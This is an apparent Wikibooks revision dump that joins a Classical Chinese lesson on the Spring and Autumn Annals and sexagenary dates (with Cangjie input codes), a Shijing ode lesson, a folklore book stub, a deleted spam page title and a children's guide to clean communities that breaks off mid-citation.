廿月中弓 (TBLN) * 後: 竹人女戈水 (HOVIE) * 初: 中尸竹 (LSH) * 旬: 心日 (PA) * 爾: 一火月大 (MFBK) * 雅: 一竹人土 (MHOG) * 為: 戈大弓火 (IKNF) * 陬: 弓中尸十水 (NLSJE) * 如: 女口 (VR) * 寎: 十女一月 (JVMB) * 余: 人一木 (OMD) * 皋: 竹日大十 (HAKJ) * 且: 月一 (BM) * 相: 木月山 (DBU) * 壯: 女一土 (VMG) * 玄: 卜女戈 (YVI) * 辜: 十口卜廿十 (JRYTJ) * 涂: 水人一木 (EOMD) * 經: 女火一女一 (VFMVM) * 合: 人一口 (OMR) * 集: 人土木 (OGD) ==References== * 《春秋經》 * 《爾雅》 * 《合集》37986 {{BookCat}} 568fmswfh7u3uil8y8jvsns4j8y1zsr 4670881 4670873 2026-09-18T08:27:18Z Shira the Mogul 3560559 /* The Sexagenery cycle */ s/o lzh wikipedia 4670881 wikitext text/x-wiki [[File:Confucius, fresco from a Western Han tomb of Dongping County, Shandong province, China.jpg|thumb|200px|Confucius, a purported author of the Annals.]] One of the most famous texts in the Literary and Classical Chinese canon is the Spring and Autumn Annals, known natively as ''Chunqiu'' 春秋. It is said to have been by Confucius whilst he was a minister in the State of Lu 魯, and while it is extremely simple, it is extremely audacious, biassed, and tongue-in-cheek, all whilst not necessarily being explicit about it. This makes it an excellent way to discuss dates, synonyms for various important verbs, and find early but important ways to get acquainted with traditional writers thought. By the end of this lesson, you will have an idea of why this text spawned five extremely elaborate commentaries, three of which are extant to this day. The State of Lu was founded by Boqi 伯禽, also known posthumously as Duke Tai of Lu 魯太公, after the fall of the Shang dynasty. It was a small but significant state, being a hotbed for ancient philosophy, and lasted for around eight centuries. Famous philosophers from Lu include Mozi 墨子, Confucius 孔子, and Zuo Qiuming 左丘明, whose writings still impact the Sinosphere to this day. Lu was located in what is now Shandong 山東, and its capital, Qufu 曲阜, holds numerous artifacts and manuscripts from that time. Getting the calendar (曆) right was serious business for the ancient Chinese people. The Miao 苗 people were infamously sacked by Emperor Shun 帝舜 in part for "confusing" the calendar, and this crime would be applied to later regimes as well. As one would expect, recording historical annals properly was, then, of critical importance. I will teach you how they wanted you to do it in this lesson...luckily, without your bloodline on, well, the line! ==The Earthly Branches== The Earthly Branches 地支 are highly important for timekeeping and denote set 2-hour periods. One can arrange these like an analog clock, and the structure 甲時 is normally used for saying "X happened at Y time." These branches are associated with Jupiter's 12-year rotations around Earth. The following are each of the Earthly Branches: {| class="wikitable" !Heavenly Branch!!Timespan |- |子|| 23:00-01:00 |- |丑|| 01:00-03:00 |- |寅|| 03:00-05:00 |- |卯|| 05:00-07:00 |- |辰||07:00-09:00 |- |巳||09:00-11:00 |- |午|| 11:00-13:00 |- |未|| 13:00-15:00 |- |申|| 15:00-17:00 |- |酉|| 17:00-19:00 |- |戌|| 19:00-21:00 |- |亥|| 21:00-23:00 |} ==The Sexagenery cycle== [[File:Heji 37986 Ganzhi table.jpg|thumb|200px|Observe, the actual bone this was from!]] By combining the Earthly Branches with the Heavenly Stems from the last lesson, one can make 60 combinations, which form a 60-day cycle. This has been used since the Shang era, and continues to be used for the Lunar Calendar. It is also used to denote lunar years. Here they are in order, from right to left, vertically, taken from a real oracle bone! {|class="wikitable" style="{{writing-mode|tbrl}}" |+干支 |----- | 甲子 | 乙丑 | 丙寅 | 丁卯 | 戊辰 | 己巳 | 庚午 | 辛未 | 壬申 | 癸酉 |-{{grey row}} | 甲戌 | 乙亥 | 丙子 | 丁丑 | 戊寅 | 己卯 | 庚辰 | 辛巳 | 壬午 | 癸未 |----- | 甲申 | 乙酉 | 丙戌 | 丁亥 | 戊子 | 己丑 | 庚寅 | 辛卯 | 壬辰 | 癸巳 |-{{grey row}} | 甲午 | 乙未 | 丙申 | 丁酉 | 戊戌 | 己亥 | 庚子 | 辛丑 | 壬寅 | 癸卯 |----- | 甲辰 | 乙巳 | 丙午 | 丁未 | 戊申 | 己酉 | 庚戌 | 辛亥 | 壬子 | 癸丑 |-{{grey row}} | 甲寅 | 乙卯 | 丙辰 | 丁巳 | 戊午 | 己未 | 庚申 | 辛酉 | 壬戌 | 癸亥 |} The person who wrote that bone was also a learner: They memorised the cycle simply through rote memorisation. If you want, you can try it too: Just like someone from 3,000 years ago. If you want to try, I recommend doing it in groups; if you want to achieve the same remarkable organisation as the bone, do so in groups of 10, but do whatever you find works best for you. By chunking them, things become a little easier. ==Use in dates== <blockquote> 冬，十月，壬午，齊人、鄭人入郕。 </blockquote> As-is, you should be able to roughly figure out what this sentence means, with your knowledge of the Heavenly Branches, Earthly Stems, and what 人 means. This is but one line from the Spring and Autumn Annals. The first character is the season. Like in English, there are four: Spring 春, Summer 夏, Autumn 秋, and Winter 冬. This will usually come after the date, and then subsequent events will be categorised by season, with the month number and sexagenery day within. This is somewhat difficult to directly translate into modern years for many manuscripts, but most from the Spring and Autumn Annals and onwards are generally understood. In the case of this text, it covers events from around circa 790 BC to circa 500 BC, a 242ish year period. The reason years are somewhat difficult to ascertain is because East Asian years were traditionally tied to the ruler. Therefore, there will be a 元年 - that's the first - followed by Ruler二年, and so on, until death. The Republic of China, for example, uses dates based on the day of its founding after the fall of the Qing dynasty in 1912 (e.g. 中華民國一百十六年), as does North Korea (e.g. 主體七十四年). Once one ruler's rough date of existence is known, though, reconstructing the whole timeline in other calendars, at least based on the word of the writer, is usually quite straightforward. You can probably figure out both of those example years I wrote through general knowledge! <blockquote> 秋七月壬辰朔，日有食之，既。 五年春正月，甲戌、己丑，陳侯鮑卒。 </blockquote> ==A full year of Duke Min of Lu== 魯閔公 <blockquote> 元年春，王正月。 齊人救邢。 夏六月，辛酉，葬我君莊公。 秋八月，公及齊侯盟于落姑。季子來歸。 冬，齊仲孫來。 二年春，王正月，齊人遷陽。 夏，五月，乙酉，吉禘于莊公。 秋，八月，辛丑，公薨。 九月，夫人姜氏孫于邾。公子慶父出奔莒。 冬，齊高子來盟。 十有二月，狄入衛。 鄭棄其師。 </blockquote> ==Additional vocabulary== There are a few more pieces of vocabulary that are worth remembering. {|class="wikitable" !Character!!Meaning!!Notes |- |春||Spring, the first three months of the year.||The four seasons are referred to as 四時, lit. the "Four Times." |- |夏||Summer, the second three months of the year.||Also the name of a semi-legendary dynasty, the Xia dynasty. |- |秋||Autumn, the third three months of a year.|| |- |冬||Winter, the last three months of a year.|| |- |正月||First month of a year.||一月 can exist, but 正月 is much, much more common. |- |元月/年||Inaugral month/year for a ruler.|| |- |載||Legal synonym for a year 年||For example, 雍正三載 could refer to the third year of the Yongzheng Emperor's reign. |- |歲||A year, syn. 年||Typically seen in older texts, especially Oracle bones. The character technically means Jupiter! |- |春秋||Usually annals, but can also be used to refer to one's age.|| |- |朔(日 or 月)||The first day of the month.|| |- |晦日||The last day of the lunar month.||The last moon of a month is known as 盡月. |- |臘月||The twelfth lunar month.||Consists of a traditional festival on the 7th day called 儺 which exorcises inauspicious spirits, ensuring they do not hurt people in the new year. The next day is 臘, which is a sacrifice to ancestors, 祖. |- |除日||Last day of the 12th lunar month.|| |- |朞||Complete||朞月 as a complete month, 朞年 as a full year. |- |來||The coming||Usually used with a new day as it comes. 異日 can also be used to vaguely an undefined day in the future. |- |前||The last||Usually "yesterday". With respect to time, it can also refer to any time before, wherein the opposite is 後. |- |初||Beginning||Used very frequently. |- |旬||10-day week||Days in ancient China were recorded as 10-day weeks as they used the orbit of Jupiter, not the moon, to define time. |- |} ==Exercise: Defining the Months== The ''Erya'' 爾雅, an ancient dictionary, defines the months as follows. With the vocabulary you know so far, you should be able to read the entries yourself. However, it should be noted that these are not used too often, and simply using number+month is fine! <blockquote> 正月為陬<br> 二月為如<br> 三月為寎<br> 四月為余<br> 五月為皋<br> 六月為且<br> 七月為相<br> 八月為壯<br> 九月為玄<br> 十月為陽<br> 十一月為辜<br> 十二月為涂 </blockquote> ==Cangjie codes== * 春: 手大日 (QKA) * 秋: 竹木火 (HDF) * 魯: 弓田火日 (NWFA) * 伯: 人竹日 (OHA) * 禽: 人卜山月 (OYUB) * 太: 大戈 (KI) * 公: 金戈 (CI) * 墨: 田土火土 (WGFG) * 子: 弓木 (ND) * 孔: 弓木山 (NDU) * 左: 大一 (KM) * 丘: 人一 (OM) * 明: 日月 (AB) * 山: 山 (U) * 東: 木田 (DW) * 曲: 廿田 (TW) * 阜: 竹口十 (HRJ) * 曆: 一木日 (MDA) * 苗: 廿田 (TW) * 帝: 卜月中月 (YBLB) * 舜: 月月弓手 (BBNQ) * 地: 土心木 (GPD) * 支: 十水 (JE) * 甲: 田中 (WL) * 時: 日土木戈 (AGDI) * 丑: 弓土 (NG) * 寅: 十一中金 (JMLC) * 卯: 竹竹尸中 (HHSL) * 辰: 一一一女 (MMMV) * 巳: 口山 (RU) * 午: 人十 (OJ) * 未: 十木 (JD) * 申: 中田中 (LWL) * 酉: 一金田一 (MCWM) * 戌: 戈竹一 (IHM) * 亥: 卜女竹人 (YVHO) * 乙: 弓山 (NU) * 丙: 一人月 (MOB) * 丁: 一弓 (MN) * 戊: 戈竹 (IH) * 己: 尸山 (SU) * 庚: 戈中人 (ILO) * 辛: 卜廿十 (YTJ) * 壬: 竹土 (HG) * 癸: 弓人一大 (NOMK) * 冬: 竹水卜 (HEY) * 十: 十 (J) * 月: 月 (B) * 齊: 卜難 (YX) * 人: 人 (O) * 鄭: 廿大弓中 (TKNL) * 入: 人竹 (OH) * 郕: 戈尸弓中 (ISNL) * 夏: 一山竹水 (MUHE) * 元: 一一山 (MMU) * 年: 人手 (OQ) * 二: 一一 (MM) * 中: 中 (L) * 華: 廿一廿十 (TMTJ) * 民: 口女心 (RVP) * 國: 田戈口一 (WIRM) * 一: 一 (M) * 百: 一日 (MA) * 六: 卜金 (YC) * 主: 卜土 (YG) * 體: 月月廿田廿 (BBTWT) * 七: 十山 (JU) * 四: 田金 (WC) * 朔: 廿山月 (TUB) * 日: 日 (A) * 有: 大月 (KB) * 食: 人戈日女 (OIAV) * 之: 戈弓人 (INO) * 既: 日戈一女山 (AIMVU) * 五: 一木一 (MDM) * 正: 一卜中一 (MYLM) * 陳: 弓中木田 (NLDW) * 侯: 人弓一大 (ONMK) * 鮑: 弓火心口山 (NFPRU) * 卒: 卜人人十 (YOOJ) * 閔: 日弓卜大 (ANYK) * 王: 一土 (MG) * 救: 戈水人大 (IEOK) * 邢: 一廿弓中 (MTNL) * 葬: 廿一心廿 (TMPT) * 我: 竹手戈 (HQI) * 君: 尸大口 (SKR) * 莊: 廿女一土 (TVMG) * 八: 竹人 (HO) * 及: 弓竹水 (NHE) * 盟: 日月月廿 (ABBT) * 于: 一木 (MD) * 落: 廿水竹口 (TEHR) * 姑: 女十口 (VJR) * 季: 竹木弓木 (HDND) * 來: 木人人 (DOO) * 歸: 竹一尸一月 (HMSMB) * 仲: 人中 (OL) * 孫: 弓木竹女火 (NDHVF) * 遷: 卜一田山 (YMWU) * 陽: 弓中日一竹 (NLAMH) * 吉: 土口 (GR) * 禘: 戈火卜月月 (IFYBB) * 薨: 廿田中心 (TWLP) * 九: 大弓 (KN) * 夫: 手人 (QO) * 姜: 廿土女 (TGV) * 氏: 竹女心 (HVP) * 邾: 竹木弓中 (HDNL) * 慶: 戈難水 (IXE) * 父: 金大 (CK) * 出: 山山 (UU) * 奔: 大十廿 (KJT) * 莒: 廿口竹口 (TRHR) * 高: 卜口月口 (YRBR) * 狄: 大竹火 (KHF) * 衛: 竹人木手弓 (HODQN) * 棄: 卜戈廿木 (YITD) * 其: 廿一一金 (TMMC) * 師: 竹口一中月 (HRMLB) * 載: 十戈十田十 (JIJWJ) * 雍: 卜女竹土 (YVHG) * 三: 一一一 (MMM) * 歲: 卜一戈竹竹 (YMIHH) * 晦: 日人田卜 (AOWY) * 盡: 中一火月廿 (LMFBT) * 臘: 月女女女 (BVVV) * 儺: 人廿人土 (OTOG) * 祖: 戈火月一 (IFBM) * 除: 弓中人一木 (NLOMD) * 朞: 廿金月 (TCB) * 異: 田廿金 (WTC) * 前: 廿月中弓 (TBLN) * 後: 竹人女戈水 (HOVIE) * 初: 中尸竹 (LSH) * 旬: 心日 (PA) * 爾: 一火月大 (MFBK) * 雅: 一竹人土 (MHOG) * 為: 戈大弓火 (IKNF) * 陬: 弓中尸十水 (NLSJE) * 如: 女口 (VR) * 寎: 十女一月 (JVMB) * 余: 人一木 (OMD) * 皋: 竹日大十 (HAKJ) * 且: 月一 (BM) * 相: 木月山 (DBU) * 壯: 女一土 (VMG) * 玄: 卜女戈 (YVI) * 辜: 十口卜廿十 (JRYTJ) * 涂: 水人一木 (EOMD) * 經: 女火一女一 (VFMVM) * 合: 人一口 (OMR) * 集: 人土木 (OGD) ==References== * 《春秋經》 * 《爾雅》 * 《合集》37986 {{BookCat}} j7adityfijvton8nzh3vmfc0gek6kgn 2 484823 4670633 4654690 2026-09-17T13:02:58Z MathXplore 3097823 Marking for speedy deletion: Out of scope 4670633 wikitext text/x-wiki <noinclude>{{Delete|example=false|Out of scope}}</noinclude> '''''How to Download Instagram Audio in MP3 for Free?''''' 7825mei570llwptvv8n1b416f3hff27 0 485046 4670716 4656066 2026-09-17T21:21:20Z Shira the Mogul 3560559 /* Text */ 4670716 wikitext text/x-wiki [[File:Chinese - Dragon - Walters 492425 - Profile.jpg|thumb|200px|麒麟]] Comment to be written. ==Text== ===詩經·周南·麟之趾=== <poem> 麟之趾，振振公子，于嗟麟兮。 麟之定，振振公姓，于嗟麟兮。 麟之角，振振公族，于嗟麟兮。 </poem> ==References== * Deng, Q. (2013). 诗经 [Classic of Poetry] (Q. Kong, Ed.; 2nd ed, Vols 1–2). 东南大学出版社 [Southeast University Press]. {{BookCat}} rxoao4xqxowar9l81284l5vsm4tnvav 4670717 4670716 2026-09-17T21:26:41Z Shira the Mogul 3560559 this is gonna be good 4670717 wikitext text/x-wiki [[File:Chinese - Dragon - Walters 492425 - Profile.jpg|thumb|200px|麒麟]] In this lesson, you will learn your first ode from the ''Classic of Poetry'' 詩經，a foundational text for much of East Asian culture. It is among the earliest sources of Classical Chinese and is also the most quoted. We will go over the genres and exact details later. This poem focuses on the Qilin 麒麟, a mythical creature you may have heard about. Let's consult Shuowen Jiezi about it. <blockquote> 麒：仁獸也。麋身牛尾，一角。从鹿其聲。<br> 麟：大牝鹿也。从鹿粦聲。 </blockquote> TBC Grammar about 之 and 于... Body parts... ==Text== ===國風·周南·麟之趾=== <poem> 麟之趾，振振公子，于嗟麟兮。 麟之定，振振公姓，于嗟麟兮。 麟之角，振振公族，于嗟麟兮。 </poem> ==References== * Deng, Q. (2013). 诗经 [Classic of Poetry] (Q. Kong, Ed.; 2nd ed, Vols 1–2). 东南大学出版社 [Southeast University Press]. {{BookCat}} 8f0r5tccywu66z9gvv94rszdof8td9u 0 485372 4670666 4670569 2026-09-17T14:14:26Z 3MMPEYTON 3393808 4670666 wikitext text/x-wiki <br>'''Monster, a threatening force from the far-side.''' <br><br>This book will introduce 4 fictional creations with odd human connections: <br>zombie-person <br>hungry-ghost-person <br>ghost-person <br>demon-person <br>...and Angels. <br><br>This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels. <br> {| class="wikitable" |+ About Monsters And Angels |- ! Guardian Angel !! The Sleep Of Reason Produces Monsters |- | [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]] |} <br> <br>'''Table Of Content:'''<br>[[About_Monsters_And_Angels/Chapter_One|Chapter One]] <br>Chapter Two<br>Chapter Three<br>Chapter Four<br>Chapter Five<br>Chapter Six<br>Chapter Seven<br>Chapter Eight<br>Chapter Nine<br>Chapter Ten<br> <br> <br> {{New book}} <br> {{Formatting}} <br> {{BookCat}} {{Shelves|Literature|Paranormal|Cultural anthropology}} [[Category:Book:About Monsters And Angels]] <br> {{status|0%}} <br> <noinclude>{{Chapter navigation with TOC||What Is Wikibooks|TOC mini}}</noinclude> fic9ha1ksqjz8xg7d4wq2i6wrezqdt6 4670667 4670666 2026-09-17T14:15:14Z 3MMPEYTON 3393808 4670667 wikitext text/x-wiki <br>'''Monster, a threatening force from the far-side.''' <br><br>This book will introduce 4 fictional creations with odd human connections: <br>zombie-person <br>hungry-ghost-person <br>ghost-person <br>demon-person <br>...and Angels. <br><br>This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels. <br> {| class="wikitable" |+ About Monsters And Angels |- ! Guardian Angel !! The Sleep Of Reason Produces Monsters |- | [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]] |} <br> <br>'''Table Of Content:'''<br>[[About_Monsters_And_Angels/Chapter_One|Chapter One]] <br>Chapter Two<br>Chapter Three<br>Chapter Four<br>Chapter Five<br>Chapter Six<br>Chapter Seven<br>Chapter Eight<br>Chapter Nine<br>Chapter Ten<br> <br> <br> {{New book}} <br> {{Formatting}} <br> {{BookCat}} {{Shelves|Literature|Paranormal|Cultural anthropology}} [[Category:Book:About Monsters And Angels]] <br> {{status|0%}} <br> <noinclude>{{Chapter navigation with TOC||Chapter One|TOC mini}}</noinclude> glb74q4cee4bh21g1g1juwrujn01xhy 4670672 4670667 2026-09-17T14:23:01Z 3MMPEYTON 3393808 4670672 wikitext text/x-wiki <br>'''Monster, a threatening force from the far-side.''' <br><br>This book will introduce 4 fictional creations with odd human connections: <br>zombie-person <br>hungry-ghost-person <br>ghost-person <br>demon-person <br>...and Angels. <br><br>This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels. <br> {| class="wikitable" |+ About Monsters And Angels |- ! Guardian Angel !! The Sleep Of Reason Produces Monsters |- | [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]] |} <br> <br>'''Table Of Content:'''<br>[[About_Monsters_And_Angels/Chapter_One|Chapter One]] <br>Chapter Two<br>Chapter Three<br>Chapter Four<br>Chapter Five<br>Chapter Six<br>Chapter Seven<br>Chapter Eight<br>Chapter Nine<br>Chapter Ten<br> <br> <br> {{New book}} <br> {{Formatting}} <br> {{BookCat}} {{Shelves|Literature|Paranormal|Cultural anthropology}} [[Category:Book:About Monsters And Angels]] [[:Category:Book:About Monsters And Angels|List of All Pages in This Book]] <br> {{status|0%}} <br> <noinclude>{{Chapter navigation with TOC||Chapter One|TOC mini}}</noinclude> dxq47x8rdj1ju54xoyi6bsthbsgr545 4670673 4670672 2026-09-17T14:24:47Z 3MMPEYTON 3393808 4670673 wikitext text/x-wiki <br>'''Monster, a threatening force from the far-side.''' <br><br>This book will introduce 4 fictional creations with odd human connections: <br>zombie-person <br>hungry-ghost-person <br>ghost-person <br>demon-person <br>...and Angels. <br><br>This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels. <br> {| class="wikitable" |+ About Monsters And Angels |- ! Guardian Angel !! The Sleep Of Reason Produces Monsters |- | [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]] |} <br> <br>'''Table Of Content:'''<br>[[About_Monsters_And_Angels/Chapter_One|Chapter One]] <br>Chapter Two<br>Chapter Three<br>Chapter Four<br>Chapter Five<br>Chapter Six<br>Chapter Seven<br>Chapter Eight<br>Chapter Nine<br>Chapter Ten<br> <br> <br> {{New book}} <br> {{Formatting}} <br> {{BookCat}} {{Shelves|Literature|Paranormal|Cultural anthropology}} <br> [[Category:Book:About Monsters And Angels]] <br> {{status|0%}} <br> <noinclude>{{Chapter navigation with TOC||Chapter One|TOC mini}}</noinclude> 2yk6h0bdcv9c8fka21nvb784yio1vue 2 485425 4670691 4670445 2026-09-17T16:38:55Z ~2026-50548-72 3626184 Created new chapters 4670691 wikitext text/x-wiki == '''<big>A Young Reader's Guide to a Clean and Healthy Community.</big>''' == == '''Book Summary:''' == A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action. == '''Chapter 1: Our Community, Our Responsibility''' == *Understanding a community * Caring for our surroundings * Children's responsibilities == '''Chapter 2: Types of Waste and Every Piece of Rubbish Has a Place''' == *Types of waste * Proper waste disposal * Reusing materials * Keeping schools and libraries clean == '''Chapter''' '''3: Water Is Life''' == * Importance of water * Protecting water sources * Safe water practices * Effects of water pollution == '''Chapter''' '''4: Trees''' == * Importance of trees * Protecting and planting trees * Caring for gardens == '''Chapter''' '''5: Plastic Pollution''' == * Teamwork * Community clean-ups * Helping neighbours * Children's leadership == '''Chapter''' '''6: Our Changing World''' == * Taking responsibility * Being an environmental role model * Personal action plan * Community challenge === Expected Outcome: === The book will encourage children to practice good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities. === Conclusion: === The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''. === References === == '''Introduction:''' == Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy. This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility. Remember, '''small actions can make a big difference!''' == Chapter 1: Our Community, Our Responsibility == === Understanding a community === While we traditionally think of a community as the people in a given geographical location, the word can really refer to any group sharing something in common -- '''place''' (such as a city, neighborhood, or school district), '''experience''' (such as shared experience of racism), or '''interest''' (e.g., a community's concern about poverty or violence prevention). These various communities often overlap. A Black art teacher, for example, might see herself (or be seen by others) as a member of the Black, arts, and/or education communities, as well as of a particular faith community. Whichever community defines your work, you will want to get to know it well. Examples of communities include homes, schools, villages and neighborhoods. People in a community share places and resources. They should help one another and work together to solve problems.<ref>{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}</ref> === What do we mean by understanding and describing the community? === Understanding the community entails understanding it in a number of ways. Whether or not the community is defined geographically, it still has a geographic context -- a setting that it exists in. Getting a clear sense of this setting may be key to a full understanding of it. At the same time, it's important to understand the specific community you're concerned with. You have to get to know its people -- their culture, their concerns, and relationships -- and to develop your own relationships with them as well. * ''Physical aspects''. Every community has a physical presence of some sort, even if only one building. Most have a geographic area or areas they are either defined by or attached to. It's important to know the community's size and the look and feel of its buildings, its topography (the lay of the land -- the hills, valleys, rivers, roads, and other features you'd find on a map), and each of its neighborhoods. Also important are how various areas of the community differ from one another, and whether your impression is one of clean, well-maintained houses and streets, or one of shabbiness, dirt, and neglect. If the community is one defined by its population, then its physical properties are also defined by the population: where they live, where they gather, the places that are important to them. The characteristics of those places can tell you a great deal about the people who make up the community. Their self-image, many of their attitudes, and their aspirations are often reflected in the places where they choose -- or are forced by circumstance or discrimination -- to live, work, gather, and play. * ''Infrastructure''. Roads, bridges, transportation (local public transportation, airports, train lines), electricity, landline and mobile telephone service, broadband service, and similar "basics" make up the infrastructure of the community, without which it couldn't function. * ''Patterns of settlement, commerce, and industry''. Where are those physical spaces we've been discussing? Communities reveal their character by where and how they create living and working spaces. Where there are areas with severely inadequate housing and limited services --  substandard housing in areas with few or no services that are the only options for people with lower incomes -- the value the larger community places on those residents seems clear. Are heavy industries located next to residential neighborhoods? If so, who lives in those neighborhoods? Are some parts of the community dangerous, either because of high crime and violence or because of unsafe conditions in the built or natural environment? * ''Demographics''.  It's vital to understand who makes up the community.  Age, gender, race and ethnicity, marital status, education, number of people in household, first language -- these and other statistics make up the demographic profile of the population. When you put them together (e.g.,  the education level of black women ages 18-24), it gives you a clear picture of who community residents are. * ''History''. The long-term history of the community can tell you about community traditions, what the community is, or has been, proud of, and what residents would prefer not to talk about. Recent history can afford valuable information about conflicts and factions within the community, important issues, past and current relationships among key people and groups -- many of the factors that can trip up any effort before it starts if you don't know about and address them. * ''Community leaders, formal and informal''. Some community leaders are elected or appointed -- mayors, city councilors, directors of public works. Others are considered leaders because of their activities or their positions in the community -- community activists, corporate CEO's, college presidents, doctors, clergy.  Still others are recognized as leaders because, they are trusted for their proven integrity, courage, and/or care for others and the good of the community. * ''Community culture, formal and informal''. This covers the spoken and unspoken rules and traditions by which the community lives. It can include everything from community events and slogans -- the blessing of the fishing fleet, the "Artichoke Capital of the World" -- to norms of behavior -- turning a blind eye to alcohol use disorder or domestic violence -- to patterns of discrimination and exercise of power. Understanding the culture and how it developed can be crucial, especially if that's what you're attempting to change. * ''Existing groups''.  Most communities have an array of groups and organizations of different kinds -- service clubs (Lions, Rotary, etc.), faith groups, youth organizations, sports teams and clubs, groups formed around shared interests, the boards of community-wide organizations (the YMCA, the Rotary Club), as well as groups devoted to self-help, advocacy, and activism.  Knowing of the existence and importance of each of these groups can pave the way for alliances or for understanding opposition. * ''Existing institutions''. Every community has institutions that are important to it, and that have more or less credibility with residents. Colleges and universities, libraries, religious institutions, hospitals -- all of these and many others can occupy important places in the community. It's important to know what they are, who represents them, and what influence they wield. * ''Economics''.  Who are the major employers in the community?  What, if any, business or industry is the community's base? Who, if anyone, exercises economic power? How is wealth distributed? Would you characterize the community as poor, working, class, middle class, or affluent?  What are the economic prospects of the population in general and/or the population you're concerned with? * ''Government/Politics''. Understanding the structure of community government is obviously important. Some communities may have strong mayors and weak city councils, others the opposite. Still other communities may have no mayor at all, but only a town manager, or may have a different form of government entirely.  Whatever the government structure, where does political power lie? Understanding where the real power is can be the difference between a successful effort and a vain one. * ''Social structure''. Many aspects of social structure are integrated into other areas -- relationships, politics, economics -- but there are also the questions of how people in the community relate to one another on a daily basis, how problems are (or aren't) resolved, who socializes or does business with whom, etc. This area also includes perceptions and symbols of status and respect, and whether status carries entitlement or responsibility (or both). * ''Attitudes and values''. Again, much of this area may be covered by investigation into others, particularly culture. What does the community care about, and what does it ignore? What are residents' assumptions about the proper way to behave, to dress, to do business, to treat others? Is there widely accepted discrimination against one or more groups by the majority or by those in power? What are the norms for interaction among those who with different opinions or different backgrounds? '''We'll discuss all of these aspects of community in greater detail later in the section.'''<blockquote>There are obviously many more aspects of community that can be explored, such as health or education.  The assumption here is that as part of an assessment, you'll aim for a general understanding of the community, as described in this section, and also assess, with a narrower focus, the specific aspects you're interested in.</blockquote>Once you've explored the relevant areas of the community, you'll have the information to create a community description. Depending on your needs and information, this description might be anything from a two-or three-page outline to an in-depth portrait of the community that extends to tens of pages and includes charts, graphs, photographs, and other elements. The point of doing it is to have a picture of the community at a particular point in time that you can use to provide a context for your community assessment and to see the results of whatever actions you take to bring about change.<blockquote>A community description can be as creative as you're capable of making it.  It can be written as a story, can incorporate photos and commentary from community residents, can be done online and include audio and video, etc. The more interesting the description is, the more people are likely to actually read it.</blockquote> === Caring for Our Surroundings and the enviroment === Our surroundings or environment is the natural world around you the air, water, land, plants, and animals. Everything in nature is part of your environment. You share this environment with people, animals, and plants in your community. === '''How you can care for your surroundings''' === === Reduce, Reuse, and Recycle === You can follow the three-R rule every day. '''Reduce''' means using less so you make less waste. '''Reuse''' means using something again instead of throwing it away. '''Recycle''' means turning old materials into new ones. For example, you can use a reusable lunch bag and water bottle at school. You can decorate an old jar and use it as a pencil holder. You can put paper and plastic bottles in the recycling bin. === Sorting Your Waste === You sort your waste by putting it in the right bin. Banana peels go in the '''compost bin'''. A plastic bottle goes in the '''recycling bin'''. A broken toy that cannot be fixed goes in the '''garbage bin'''. Sorting waste properly helps protect the environment. === Composting === Composting means collecting food waste like; banana peels, left overs and vegetable cuttings. These wastes break down and turn into rich soil for gardens. === Saving Water and Energy === You can save water by turning off the tap while brushing your teeth. You can save electricity by turning off lights when you leave a room. These small actions help protect natural resources every single day. === Planting Trees and Native Plants === Trees clean the air and give animals a home. Planting flowers and native plants in your garden helps birds, bees, and butterflies find food and shelter. This supports the wildlife in your neighborhood. Additionally, you can help by; Cleaning our homes, classrooms and playgrounds, and Keeping water sources clean. * Avoiding damage to public property. * Helping people who need support. === Children's Responsibilities === Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.<ref>{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in 